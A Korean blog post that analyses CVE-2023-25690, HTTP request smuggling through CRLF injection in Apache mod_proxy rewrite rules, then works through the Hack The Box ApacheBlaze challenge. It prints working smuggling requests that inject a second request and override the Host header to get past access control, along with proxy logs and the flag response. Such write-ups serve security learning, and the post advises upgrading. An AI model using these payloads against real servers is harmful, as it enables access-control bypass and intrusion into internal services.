티스토리 뷰

728x90
반응형

Introduction

Apache HTTP Server 2.4.0 ~ 2.4.55 에서 mod_proxy 설정 시 HTTP Request Smuggling 취약점 발생

 

mod_proxy 설정 시 RewriteRule 이나 ProxyPassMatch 설정 시 사용자로부터 URL 데이터를 받아서 가변적으로 치환하는 경우 취약점이 발생한다.

RewriteEngine  on

RewriteRule    "^/products/(.*)"  "http://product.example.com/products?$1";  [P]
ProxyPassReverse /products/ http://product.example.com/

 

Request Splitting/Smuggling 취약점을 이용하면 프록시 서버의 접근 제어 정책을 우회하거나, 의도하지 않은 내부망에 접근하게 할 수 있거나, 캐시 포이즈닝 공격에 이용될 수 있다.

 

Apache HTTP Server를 최소 2.4.56 버전 이상으로 업데이트하는 것을 권고하는 바이다.

 

Analysis

RewriteEngine on 이 설정되어 있는 경우 URL rewriting engine을 활성화한다.

URL rewriting 기능은 사용자의 웹 브라우저로부터 받는 여러 URL로부터 웹 서버가 동적으로 처리하게 해주는 기술이다.

만약 Apache 설정 파일이 아래와 같이 RewriteRule directive 가 작성되었다고 해보자.

RewriteRule "^/products/(.*)"  "http://product.example.com/products?id=$1";  [P]

이 경우 사용자가 http://product.example.com/products/1 이라는 URL에 접근했다고 했을 때, RewriteRule 은 URL을 매칭해보고, 1 이라는 값을 정규표현식 ^/products/(.*) 에 대입해본다.

그러면 http://product.example.com/products?id=1 로 URL rewrite되는 효과를 가진다.

 

여기서 rewrite rule에 [P] flag가 있다면 Apache Server는 rewrite 된 URL을 Proxy 요청으로 판단하고 http://product.example.com/products 로 쿼리 파라미터 id 를 1로 설정한 뒤에 요청을 전달해준다. (URL별로 서로 다른 서버에 요청을 보낼 수 있게 한다)

참고 : https://httpd.apache.org/docs/2.4/rewrite/proxy.html

 

Using mod_rewrite for Proxying - Apache HTTP Server Version 2.4

Using mod_rewrite for Proxying This document supplements the mod_rewrite reference documentation. It describes how to use the RewriteRule's [P] flag to proxy content to another server. A number of recipes are provided that describe common scenarios. Descri

httpd.apache.org

 

HTTP Request Splitting/Smuggling

이번에는 HTTP Response Splitting(CRLF injection) 기법이 어떻게 HTTP Request Smuggling 공격으로 이어지며, 최종적으로 공격자가 접근 제어를 우회 하고 내부 자원에 접근할 수 있는지 설명한다.

 

CRLF Injection 확인 법

우선 아래와 같이 정상 요청을 보내본다.

GET /products/1 HTTP/1.1
Host: 127.0.0.1
Connection: close

그러면 아래와 같이 정상 응답이 돌아온다.

HTTP/1.1 200 OK
Date: Thu, 21 Dec 2023 06:58:45 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 16
Content-Type: text/html; charset=UTF-8
Connection: close

Product ID is: 1

 

하지만 만약 URL에 CRLF(Carriage Return, Line Feed)를 삽입하게 되면 어떻게 되는지 살펴보자.

GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/HELLOWORLD HTTP/1.1
Host: 127.0.0.1
Connection: close

 

위와 같은 요청을 보냈을 때 Apache Server 의 Proxy 로그와 Backend Server의 로그를 같이 살펴보면 다음과 같다.

apache-proxy-server    | 192.168.65.1 - - [21/Dec/2023:08:07:52 +0000] "GET /products/1%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/HELLOWORLD HTTP/1.1" 200 16
backend-server  | 172.18.0.3 - - [21/Dec/2023:08:07:52 +0000] "GET /products.php?id=1 HTTP/1.1" 200 0 "-" "-"
backend-server  | 172.18.0.3 - - [21/Dec/2023:08:07:52 +0000] "GET /HELLOWORLD HTTP/1.1" 404 648 "-" "-"

위와 같이 apache-proxy-server 에서 요청을 받은 것을 backend-server 에서는 두 갈래로 받아서 처리하는 것을 볼 수 있다.

 

결국 backend-server 에서는 이를 아래와 같이 두 HTTP 요청으로 받은 것이다.

GET /products/1 HTTP/1.1
Host: 127.0.0.1

GET /HELLOWORLD HTTP/1.1
Host: 127.0.0.1
Connection: close

 

이 외에도 요청을 두 번 보내는 것 뿐만 아니라 만약 backend-server에서 Host Header 를 검증하는 코드가 있다고 해보자.

if request.headers.get('X-Forwarded-Host') == 'admin.domain.com':
    # do something else
    pass

이 경우에도 Host 값을 아래와 같이 덮어써서 Host 조작을 가능하게 한다.

GET /products/1%20HTTP/1.1%0d%0aHost:%20admin.domain.com%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: 192.168.123.12:8080

위 내용을 backend-server 에서는 결국 아래와 같이 만들어 요청을 처리한다.

GET /products/1 HTTP/1.1
Host: admin.domain.com

GET / HTTP/1.1
Host: 192.168.123.12:8080

때문에 Host 값이 admin.domain.com 으로 바뀌게 되므로 위 접근 제어 코드를 우회 할 수 있게 된다.

Impact

해당 취약점은 결국 공격자로 하여금 내부 웹 서비스에 접근 가능케 하며 접근 제어 로직을 우회할 수 있는 종류의 취약점이다. 실제로 위 취약점으로 인해 내부 망에서만 접근 가능하도록 IP 접근 제어를 걸어둔 서비스에서 이를 우회 하여 관리자 페이지에 접근하는 등의 시나리오를 가능케 한다.

 

관리자 페이지에 만약 시스템 명령을 수행할 수 있는 기능이 있다면 해당 취약점은 더 큰 파급력을 행사할 수 있게 된다.

References

https://github.com/dhmosfunk/CVE-2023-25690-POC

 

GitHub - dhmosfunk/CVE-2023-25690-POC: CVE 2023 25690 Proof of concept - mod_proxy vulnerable configuration on Apache HTTP Serve

CVE 2023 25690 Proof of concept - mod_proxy vulnerable configuration on Apache HTTP Server versions 2.4.0 - 2.4.55 leads to HTTP Request Smuggling vulnerability. - GitHub - dhmosfunk/CVE-2023-25690...

github.com

 


Hackthebox ApacheBlaze Writeup(문제풀이)

해당 취약점은 CTF에 간간히 나오긴하는데, 최근에 푼 Hackthebox에서 풀었던 문제에서도 나오기도 해서 적어본다.

Hackthebox의 Challenges에서 Web 문제 중 ApacheBlaze 라는 문제가 이 취약점을 활용한 문제다.

https://app.hackthebox.com/challenges/apacheblaze

 

Hack The Box

 

app.hackthebox.com

 

Code Analysis

from flask import Flask, request, jsonify

app = Flask(__name__)

app.config['GAMES'] = {'magic_click', 'click_mania', 'hyper_clicker', 'click_topia'}
app.config['FLAG'] = 'HTB{f4k3_fl4g_f0r_t3st1ng}'

@app.route('/', methods=['GET'])
def index():
    game = request.args.get('game')

    if not game:
        return jsonify({
            'error': 'Empty game name is not supported!.'
        }), 400

    elif game not in app.config['GAMES']:
        return jsonify({
            'error': 'Invalid game name!'
        }), 400

    elif game == 'click_topia':
        if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local':
            return jsonify({
                'message': f'{app.config["FLAG"]}'
            }), 200
        else:
            return jsonify({
                'message': 'This game is currently available only from dev.apacheblaze.local.'
            }), 200

    else:
        return jsonify({
            'message': 'This game is currently unavailable due to internal maintenance.'
        }), 200

game 파라미터로 click_topia라는 값이 들어오면 Flag 값을 출력하게 하고 있다. 하지만 이 때 X-Forwarded-Host 값이 dev.apacheblaze.local 인 경우인지를 접근제어 로직으로 추가했다.

 

여기서 단순히 헤더로 X-Forwarded-Host 헤더를 주면 된다고 착각할 수 있지만 되지 않는다. 왜냐하면 Apache Server에서 mod_proxy를 이용해 Proxy 기능을 이용하고 있기 때문에 결과적으로 HTTP Header는 아래와 같은 모습이 된다.

X-Forwarded-Host: dev.apacheblaze.local, localhost:1337, 127.0.0.1:8080
X-Forwarded-For: 172.17.0.1, 127.0.0.1
X-Forwarded-Server: _, _

왜냐하면 아래의 Apache HTTP Server 설정을 보면 proxy 설정으로 VirtualHost 2개가 설정되어 있기 때문이다.

<VirtualHost *:1337>

    ServerName _

    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on

    RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P]
    ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/"

</VirtualHost>

<VirtualHost *:8080>

    ServerName _

    ProxyPass / balancer://mycluster/
    ProxyPassReverse / balancer://mycluster/

    <Proxy balancer://mycluster>
        BalancerMember http://127.0.0.1:8081 route=127.0.0.1
        BalancerMember http://127.0.0.1:8082 route=127.0.0.1
        ProxySet stickysession=ROUTEID
        ProxySet lbmethod=byrequests
    </Proxy>

</VirtualHost>

어떤 요청을 보낼 때 proxy 를 타고 들어가기 때문에 proxy host 들의 주소가 붙여지기 때문이다.

 

이로써 일반적인 방법으로는 취약점을 트리거하기 어렵기 때문에 Apache Server의 버전을 확인해본다.

다행히 도커 파일엔 Apache HTTP Server의 버전이 명확하게 나온다.

FROM alpine:3

# Install system packages
RUN apk add --no-cache --update wget apr-dev apr-util-dev gcc libc-dev \
    pcre-dev make musl-dev

# Download and extract httpd
RUN wget https://archive.apache.org/dist/httpd/httpd-2.4.55.tar.gz && tar -xvf httpd-2.4.55.tar.gz

WORKDIR httpd-2.4.55

 

이로써 CVE-2023-25690 취약점을 트리거해야 함을 더더욱 확신할 수 있게 된다.

 

Exploit

위에서 확인했던 원리로 취약점을 트리거해보면 다음과 같이 Flag 값을 획득할 수 있게 된다.

GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: 188.166.175.58:32676

 

아래는 Flag 획득 Response이다.

HTTP/1.1 200 OK
Date: Thu, 21 Dec 2023 05:00:00 GMT
Server: Apache
Content-Type: application/json
Content-Length: 44

{"message":"HTB{f4k3_fl4g_f0r_t3st1ng}"}

 

- 끝 -

728x90
반응형
댓글